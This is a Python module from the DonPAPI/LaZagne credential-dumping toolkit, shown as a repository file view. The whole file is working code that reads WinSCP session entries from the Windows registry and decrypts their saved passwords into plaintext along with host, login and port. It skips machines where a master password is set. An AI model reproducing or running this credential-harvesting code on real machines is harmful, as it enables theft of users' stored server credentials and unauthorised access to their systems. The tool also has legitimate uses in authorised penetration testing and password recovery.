DonPAPI/lazagne/softwares/sysadmin/winscp.py

130 lines
4.0 KiB
Python
Raw Normal View History

2021-09-27 09:20:43 +00:00
# -*- coding: utf-8 -*-
try:
import _winreg as winreg
except ImportError:
import winreg
from lazagne.config.module_info import ModuleInfo
from lazagne.config.winstructure import OpenKey, HKEY_CURRENT_USER
class WinSCP(ModuleInfo):
def __init__(self):
ModuleInfo.__init__(self, 'winscp', 'sysadmin', registry_used=True)
self.hash = ''
# ------------------------------ Getters and Setters ------------------------------
def decrypt_char(self):
hex_flag = 0xA3
charset = '0123456789ABCDEF'
if len(self.hash) > 0:
unpack1 = charset.find(self.hash[0])
unpack1 = unpack1 << 4
unpack2 = charset.find(self.hash[1])
result = ~((unpack1 + unpack2) ^ hex_flag) & 0xff
# store the new hash
self.hash = self.hash[2:]
return result
def check_winscp_installed(self):
try:
key = OpenKey(HKEY_CURRENT_USER, 'Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security')
return key
except Exception as e:
self.debug(str(e))
return False
def check_masterPassword(self, key):
is_master_pwd_used = winreg.QueryValueEx(key, 'UseMasterPassword')[0]
winreg.CloseKey(key)
if str(is_master_pwd_used) == '0':
return False
else:
return True
def get_credentials(self):
try:
key = OpenKey(HKEY_CURRENT_USER, 'Software\\Martin Prikryl\\WinSCP 2\\Sessions')
except Exception as e:
self.debug(str(e))
return False
pwd_found = []
num_profiles = winreg.QueryInfoKey(key)[0]
for n in range(num_profiles):
name_skey = winreg.EnumKey(key, n)
skey = OpenKey(key, name_skey)
num = winreg.QueryInfoKey(skey)[1]
values = {}
elements = {'HostName': 'URL', 'UserName': 'Login', 'PortNumber': 'Port', 'Password': 'Password'}
for nn in range(num):
k = winreg.EnumValue(skey, nn)
for e in elements:
if k[0] == e:
if e == 'Password':
try:
values['Password'] = self.decrypt_password(
username=values.get('Login', ''),
hostname=values.get('URL', ''),
_hash=k[1]
)
except Exception as e:
self.debug(str(e))
else:
values[elements[k[0]]] = str(k[1])
if num != 0:
if 'Port' not in values:
values['Port'] = '22'
pwd_found.append(values)
winreg.CloseKey(skey)
winreg.CloseKey(key)
return pwd_found
def decrypt_password(self, username, hostname, _hash):
self.hash = _hash
hex_flag = 0xFF
flag = self.decrypt_char()
if flag == hex_flag:
self.decrypt_char()
length = self.decrypt_char()
else:
length = flag
ldel = (self.decrypt_char()) * 2
self.hash = self.hash[ldel: len(self.hash)]
result = ''
for ss in range(length):
try:
result += chr(int(self.decrypt_char()))
except Exception as e:
self.debug(str(e))
if flag == hex_flag:
key = username + hostname
result = result[len(key): len(result)]
return result
def run(self):
winscp_key = self.check_winscp_installed()
if winscp_key:
if not self.check_masterPassword(winscp_key):
results = self.get_credentials()
if results:
return results
else:
self.warning(u'A master password is used. Passwords cannot been retrieved')